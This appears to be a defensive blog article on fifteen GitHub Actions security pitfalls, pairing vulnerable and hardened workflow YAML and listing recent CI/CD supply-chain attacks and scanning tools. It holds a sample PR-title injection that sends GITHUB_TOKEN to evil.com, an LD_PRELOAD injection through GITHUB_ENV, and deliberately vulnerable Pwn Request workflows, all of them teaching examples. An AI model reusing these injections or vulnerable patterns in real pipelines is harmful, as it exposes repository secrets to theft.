Aller au contenu
Français
medium

GitHub Actions: 15 security pitfalls that expose your pipelines

Lire cet article en français

24 min read
15 security pitfalls

Your GitHub Actions workflows are probably vulnerable. This is not a hypothesis: in 2025, attacks on CI/CD pipelines exploded. Shai Hulud v2, GhostAction, tj-actions/changed-files, ArtiPACKED, the attack against Trivy by hackerbot-claw, all these campaigns exploit the same configuration mistakes that the majority of teams still make (myself included).

OWASP has formalized a Top 10 of CI/CD risks, the GitHub Security Lab has been documenting Pwn Requests since 2021, and Palo Alto Unit 42 demonstrated with ArtiPACKED that you could take control of Google, Microsoft and Red Hat repositories through a race condition on artifacts. Yet these mistakes persist.

This article reviews 15 concrete pitfalls, ranked from the most basic to the most subtle, each with an exploitable example and an actionable fix.

Which real attacks hit in 2025-2026?

Before listing the pitfalls, let us look at what happened in real life. These attacks are not theoretical, they hit projects you probably use.

AttackDateImpactMain vector
ArtiPACKED (Unit 42)Aug. 2024Google, Microsoft, Red Hat, AWS, OWASPArtifact race condition, GITHUB_TOKEN in .git/config
tj-actions/changed-filesMarch 202523,000+ repositories, secrets exfiltrated in logsStolen PAT, rewritten tags
Gluestack/gluestack-uiJune 202517 compromised npm packagesCommand injection via discussions
Nx "s1ngularity"Aug. 20252,000+ repositories, SSH keys and wallets stolenMalicious npm packages via GHA
GhostActionSept. 2025327 accounts, 817 repos, 3,325 secrets stolenpull_request_target + broad permissions
Shai Hulud v2Nov. 202520,000+ repos, 1,700 infected npm versionsSelf-replicating worm via pull_request_target
hackerbot-claw / TrivyFeb. 2026Trivy repository emptied, releases deletedAI bot, pull_request_target + GITHUB_TOKEN write

The observation is clear: the same vectors come back every time. Fix these 15 points and you block almost all the attacks known so far.

Pitfall #1, Secrets hardcoded in the workflows

The most basic pitfall, but still current: OWASP ranks it as risk CICD-SEC-6. A token, an API key or a password written directly in the workflow YAML is visible to anyone with access to the repository. And even after deletion, it remains in the Git history.

# ❌ The token is visible to everyone
- run: docker login -u myuser -p dckr_pat_SuP3rS3cr3t
# ✅ Use GitHub Secrets
- uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}

Fix: store everything in GitHub Secrets (repository or organization). Add a scanner like TruffleHog or Gitleaks as a pre-commit hook to block leaks before they even reach the remote repository.

Pitfall #2, Secrets exposed too broadly

Even with GitHub Secrets, defining environment variables at the job level makes the secrets accessible to every step, including the ones that do not need them. A malicious dependency installed by npm install then has access to your AWS credentials.

# ❌ The AWS keys are accessible to EVERY step
jobs:
build-and-deploy:
runs-on: ubuntu-latest
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_KEY }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET }}
steps:
- run: npm install # This step has access to the AWS keys!
- run: npm test # This one too!
- run: ./deploy.sh # Only this one needs them
# ✅ Secrets scoped to the step that needs them
jobs:
build-and-deploy:
runs-on: ubuntu-latest
steps:
- run: npm install
- run: npm test
- run: ./deploy.sh
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_KEY }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET }}

Fix: scope secrets at the step level, not the job level. Use GitHub Environments (staging, production) to isolate sensitive secrets and require an approval before deployment. GitHub details this practice in Security hardening for GitHub Actions.

Pitfall #3, Long-lived static credentials

A token that never expires is a gift to an attacker. Once stolen, it grants permanent access. The Shai Hulud v2 worm relied massively on the theft of persistent tokens; if those tokens had had a one-hour TTL, the propagation would have been severely limited.

# ✅ OIDC: ephemeral tokens, no stored secret
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@e6de054238d6b7531b4efff3b6587d9aade6a06c # v6.2.3
with:
role-to-assume: arn:aws:iam::123456789012:role/github-deploy
aws-region: eu-west-1

Fix: use OIDC (OpenID Connect) for cloud deployments (AWS, Azure, GCP), as detailed by GitHub in Security hardening with OpenID Connect. Tokens are generated on the fly, expire within minutes, and no secret is stored in GitHub. For the other cases, integrate HashiCorp Vault with dynamic secrets.

Pitfall #4, Overly broad GITHUB_TOKEN permissions

This is the most exploited pitfall. It is a critical accelerator of the Shai Hulud v2 and GhostAction attacks. A GITHUB_TOKEN with write-all (or with no declared permissions: on an old repository) allows a compromised workflow to modify the code, create releases, publish packages, and persist in the repository.

# ❌ The workflow can do EVERYTHING
permissions: write-all
# ✅ Principle of least privilege
permissions: {} # Zero by default
jobs:
test:
permissions:
contents: read
runs-on: ubuntu-latest
steps: ...
publish:
permissions:
contents: read
packages: write # Only for this job
runs-on: ubuntu-latest
steps: ...

Fix: declare permissions: {} at the workflow level, then grant minimal permissions per job. Also check the repository settings under Settings > Actions > General > Workflow permissions: select "Read repository contents and packages permissions". The excessive-permissions audit of zizmor automatically detects non-compliant workflows, as does the default_permissions_on_risky_events rule of poutine which targets workflows triggered by sensitive events without a permissions block.

For a detailed guide, see GitHub Actions permissions (guide in progress).

Pitfall #5, Command injection through ${{ }}

The ${{ }} interpolation happens before the shell executes, without any escaping. If an attacker controls the title of an issue, the name of a branch or the body of a PR, they can inject arbitrary code.

# ❌ Injection possible via the PR title
- run: echo "PR: ${{ github.event.pull_request.title }}"
# An attacker creates a PR with the title:
# "; curl https://evil.com/steal?t=$GITHUB_TOKEN #
# The shell executes:
# echo "PR: "; curl https://evil.com/steal?t=ghs_xxx... #"
# ✅ Go through an environment variable
- run: echo "PR: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}

Fix: never interpolate ${{ github.event.* }} directly inside a run: block. Always go through env:. This rule applies to all user-controlled data: titles, labels, PR/issue bodies, workflow_dispatch inputs, branch names. GitHub documents this vector in Understanding the risk of script injections, and the template-injection audit of zizmor detects it automatically. The injection rule of poutine covers the same vector on GitHub Actions, GitLab CI and Azure DevOps.

Pitfall #6, Third-party actions not pinned by SHA

According to Wiz, only 3.9% of repositories pin 100% of their actions by SHA. The vast majority use mutable tags (@v4, @latest, @main) that can be rewritten by an attacker who compromised the maintainer's account, or even by an impostor commit exploiting GitHub's fork system (a commit from a fork can be referenced through the parent repository's slug).

This is exactly what happened with tj-actions/changed-files: the existing tags were moved to malicious code. Every workflow using @v1 instantly executed the attacker's code.

# ❌ Mutable tag: you do not control what runs
- uses: actions/checkout@v4
# ✅ Immutable SHA + version comment
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

Fix: pin all actions by their full SHA (40 characters). Use pin-github-action or StepSecurity to automate the conversion. Enable Dependabot for github-actions to receive security updates.

For the full guide: Épingler les actions par SHA.

Pitfall #7, Vulnerable or unaudited third-party actions

Beyond pinning, third-party actions execute code with your permissions. A popular action is not necessarily safe. The 23,000+ repositories hit by tj-actions/changed-files trusted a widely used action.

Fix:

  • Enable Dependabot to receive vulnerability alerts
  • Audit the source code of critical actions before adoption
  • Fork sensitive actions into your organization
  • Use GitHub's allowlist to restrict the authorized actions
  • Check the "Verified creator" badge on the Marketplace (necessary but not sufficient)

OWASP CICD-SEC-3 (Dependency Chain Abuse) specifically covers this attack vector. poutine detects actions with known CVEs (known_vulnerability_in_build_component) and those coming from unverified creators (github_action_from_unverified_creator_used).

Pitfall #8, Artifact poisoning between workflows

A workflow triggered by a PR creates an artifact. A second, more privileged workflow (triggered by workflow_run) downloads and executes that artifact. If the first workflow comes from a fork, the artifact can contain malicious code that will run with the permissions of the second workflow.

# ❌ The artifact of a PR can overwrite critical files
- uses: actions/download-artifact@v4
with:
name: build-output
# ✅ Download into an isolated directory + verify integrity
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
with:
name: build-${{ github.sha }}
path: ${{ runner.temp }}/artifacts/

Fix: never consume artifacts from PRs in privileged workflows. Use artifact names based on the SHA (not predictable). Verify integrity with a SHA-256 hash. For releases, always rebuild from the canonical source code. See OWASP CICD-SEC-9 (Improper Artifact Integrity Validation) for the reference framework.

Pitfall #9, pull_request_target: the Pwn Request

This is the most devastating pitfall. pull_request_target executes the workflow in the context of the target repository (with secrets and a write token) but can checkout code from an unverified fork. It is the main entry point of the Shai Hulud v2, GhostAction and hackerbot-claw attacks.

The exploitation scenario (known as a "Pwn Request"):

  1. The attacker forks the target repository
  2. He modifies a build script or adds malicious code
  3. He opens a PR, triggering pull_request_target
  4. The workflow runs with the privileges of the target repository and checks out the fork's code, resulting in arbitrary code execution with access to the secrets
# ❌ Classic Pwn Request
on:
pull_request_target:
types: [opened, synchronize]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
with:
ref: ${{ github.event.pull_request.head.sha }} # Fork code!
- run: npm install && npm test # Execution with access to the secrets

Fix: favor pull_request (no access to secrets for forks). If pull_request_target is indispensable, never checkout the PR code. Use if conditions to restrict the execution.

The untrusted_checkout_exec rule of poutine detects precisely this scheme: a fork checkout followed by code execution.

Dedicated guide: securing pull_request_target (guide in progress).

Pitfall #10, Runners without network control or isolation

A compromised runner with unlimited network access can exfiltrate your secrets over HTTP, DNS or even ICMP, a scenario covered by OWASP CICD-SEC-7 (Insecure System Configuration). Persistent self-hosted runners are particularly dangerous: a malicious job can install a backdoor that survives subsequent executions.

Fix:

  • GitHub-hosted: add Harden Runner as the first step of every job to monitor and then block unauthorized outbound connections
  • Self-hosted: use ephemeral runners (destroyed after each job), isolate the pools per environment, never mix dev and prod
  • In all cases: no sudo, no exposed Docker socket, logs centralized to a SIEM

The pr_runs_on_self_hosted rule of poutine detects workflows triggered by pull_request that run on self-hosted runners.

steps:
# Mandatory first step
- uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
with:
egress-policy: block
allowed-endpoints: >
github.com:443
registry.npmjs.org:443

Pitfall #11, GitHub Actions cache poisoning

GitHub Actions shares a cache across all the branches of a repository. An attacker with access to a branch (even through a PR) can poison the cache with modified dependencies. During the release workflow, the cache is restored with the malicious content, compromising the published artifacts.

This scenario, documented by Adnan Khan under the name Cacheract, is all the more dangerous because the cache is invisible in the logs. The zizmor tool automatically detects this vulnerability in your workflows.

Fix: never restore a cache in release or publishing workflows. Disable cache restoration in critical steps with the lookup-only option when the action supports it. Separate the build and release workloads into distinct workflows.

Pitfall #12, GITHUB_ENV and GITHUB_PATH: silent injection

Writing to GITHUB_ENV or GITHUB_PATH from a workflow triggered by pull_request_target or workflow_run is an arbitrary code execution vector. An attacker who controls a value written to GITHUB_ENV can set LD_PRELOAD to load a malicious library into all the following steps. One who controls GITHUB_PATH can shadow any system binary (ssh, git, curl).

Synacktiv documented this technique in GitHub Actions exploitation: environment manipulation, and the GitHub Security Lab found it in Litestar, Google and Apache.

# ❌ Uncontrolled write to GITHUB_ENV
- run: echo "CONFIG=${{ github.event.pull_request.body }}" >> "$GITHUB_ENV"
# An attacker puts in the PR body:
# dummy
# LD_PRELOAD=/tmp/evil.so
# ✅ Use GITHUB_OUTPUT instead of GITHUB_ENV
- run: echo "config_value=$SAFE_VALUE" >> "$GITHUB_OUTPUT"
id: config

Fix: never write user-controlled data to GITHUB_ENV or GITHUB_PATH. Prefer GITHUB_OUTPUT to pass data between steps. The github-env audit of zizmor detects these cases automatically.

Pitfall #13, secrets: inherit in reusable workflows

Reusable workflows called with secrets: inherit receive all the secrets of the calling workflow, without distinction. It is a direct violation of the principle of least privilege: a reusable workflow shared between teams obtains secrets it does not need.

# ❌ The reusable workflow receives ALL the secrets
jobs:
deploy:
uses: ./.github/workflows/deploy.yml
secrets: inherit
# ✅ Explicit passing of the needed secrets
jobs:
deploy:
uses: ./.github/workflows/deploy.yml
secrets:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

Fix: always pass secrets explicitly through the secrets: block. Only transmit the ones the reusable workflow actually needs. The secrets-inherit audit of zizmor automatically detects this bad practice.

Pitfall #14, actions/checkout tokens persisted on disk

By default, actions/checkout persists the GITHUB_TOKEN in the .git/config of the cloned directory. This behavior is what made the ArtiPACKED attack by Palo Alto Unit 42 possible: Google, Microsoft and Red Hat projects uploaded their artifacts including the .git directory, publicly exposing their GITHUB_TOKEN or their ACTIONS_RUNTIME_TOKEN.

# ❌ The token is persisted in .git/config
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
# ✅ Disable persistence
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false

Fix: add persist-credentials: false to all your actions/checkout steps except when you need authenticated git operations. It is one of the first checks performed by zizmor (artipacked audit).

Pitfall #15, Forgeable bot conditions

Many workflows grant special privileges to bots like Dependabot through a condition such as if: github.actor == 'dependabot[bot]'. Problem: github.actor refers to the last actor who acted on the trigger's context, not necessarily the one who triggered it. An attacker can create a PR whose last commit comes from dependabot[bot] (via a targeted rebase), bypass the check and execute privileged code.

# ❌ Easily bypassed
on: pull_request_target
jobs:
automerge:
if: github.actor == 'dependabot[bot]'
runs-on: ubuntu-latest
steps:
- run: gh pr merge --auto --merge "$PR_URL"
# ✅ Check the PR author, not the last actor
on: pull_request_target
jobs:
automerge:
if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == github.event.pull_request.head.repo.full_name
runs-on: ubuntu-latest
steps:
- run: gh pr merge --auto --merge "$PR_URL"

Synacktiv detailed this exploitation in GitHub Actions exploitations: Dependabot.

Fix: use github.event.pull_request.user.login instead of github.actor. Add a github.repository == github.event.pull_request.head.repo.full_name check to block forks. The confused_deputy_auto_merge rule of poutine automatically detects auto-merge workflows based on github.actor.

Why is the tooling still immature?

One of the major problems of GitHub Actions security is the lack of mature, integrated tooling. Compare with GitLab CI: GitLab natively integrates pipeline security features (SAST, secret detection, dependency scanning) and has dedicated tools like Plumber, a scanner specialized in analyzing GitLab CI pipelines to detect security misconfigurations.

On the GitHub Actions side, nothing equivalent is natively integrated. You have to assemble a chain of third-party tools yourself, each covering one aspect of the problem:

ToolFocusWhat it detects
actionlintSyntax + basic securityYAML errors, ${{ }} injection, built-in shellcheck
zizmorGHA-dedicated security (3,700+ stars)28+ audits: injection, permissions, cache poisoning, impostor commits, ArtiPACKED, bot conditions...
poutineMulti-platform securityGitHub Actions + GitLab CI + Azure DevOps + Tekton. 13 OPA/Rego rules, org-wide analysis
ScorecardGlobal repository posture0-10 score based on security practices
Harden RunnerRuntimeReal-time network exfiltration detection
GitleaksSecretsDetection of keys and tokens in the code and the history
TruffleHogSecretsActive verification that found secrets are still valid
pinactSHA pinningAutomatic conversion and update of tags to SHAs

The most promising tool is zizmor, a static analyzer dedicated specifically to GitHub Actions. Written in Rust, it detects 28+ known vulnerabilities with a minimal false positive rate. It even handles impostor commits (a fork commit referenced through the parent repository) and cache poisoning, two vectors that other tools largely ignore.

poutine complements zizmor with a multi-platform approach. Where zizmor specializes in GitHub Actions with 28+ very precise audits, poutine also covers GitLab CI, Azure DevOps and Tekton with 13 rules written in OPA/Rego. Its analyze_org command scans all the repositories of an organization in one pass, ideal for an initial audit. See the full poutine guide.

The problem remains that none of these tools is natively integrated into GitHub. On the GitLab side, pipeline security is a first-class citizen. On the GitHub side, you have to assemble and maintain everything yourself. It is a significant gap that partly explains why so many repositories remain vulnerable.

Which hardening checklist should you apply?

Use this list before merging any workflow:

CategoryCheckPriority
Permissionspermissions: {} at the workflow levelCritical
Permissionswrite only at the job levelCritical
PermissionsNo write-all and no omitted permissions:Critical
ActionsAll pinned by 40-character SHACritical
ActionsDependabot enabled for github-actionsHigh
ActionsNo archived or unmaintained actionsHigh
SecretsNo hardcoded secret in the YAMLCritical
SecretsSecrets scoped to the step, not the jobHigh
SecretsSeparate environments (staging/prod)High
SecretsNo secrets: inherit in reusable workflowsHigh
Checkoutpersist-credentials: false everywhereHigh
InjectionNo ${{ github.event.* }} in run:Critical
InjectionNo uncontrolled write to GITHUB_ENV / GITHUB_PATHCritical
TriggersNo pull_request_target + PR checkoutCritical
TriggersBot conditions via pull_request.user.login (not actor)High
CacheNo cache restoration in release workflowsHigh
RunnersHarden Runner as the first stepHigh
RunnersEphemeral self-hosted onlyHigh
Auditzizmor + poutine + Scorecard in the pipelineMedium

What did I change on my homelab?

After the Trivy incident and this research, here is what I applied to my own repositories:

  1. All actions pinned by SHA, no more @v4 in my workflows, with pinact for maintenance
  2. Systematic permissions: {}, then minimal permissions per job
  3. persist-credentials: false everywhere, except when I need authenticated git operations
  4. Harden Runner as the first step, in audit mode first, then block after analyzing the legitimate endpoints
  5. Dependabot enabled for github-actions with a weekly review
  6. Gitleaks in the pipeline, blocks the merge if a secret is detected
  7. Removal of every pull_request_target, replaced by pull_request + workflow_run workflows when necessary
  8. zizmor + poutine in CI, automatic analysis of every workflow change, poutine for the multi-platform audits

What should you remember?

Supply chain attacks on GitHub Actions are no longer hypothetical scenarios. In 2025-2026, they hit tens of thousands of repositories, stole thousands of secrets, and compromised entire delivery chains.

The good news: the 15 identified pitfalls cover almost all the exploited vectors. Fix them and you block the majority of known attacks. It is not a matter of sophisticated tools, it is a matter of discipline: minimal permissions, SHA everywhere, inputs never interpolated, isolated secrets, monitored runners.

To go further, the three complementary tools are covered in detail:

The full GitHub Actions security guide is available in the Sécurité GitHub Actions section.

Sources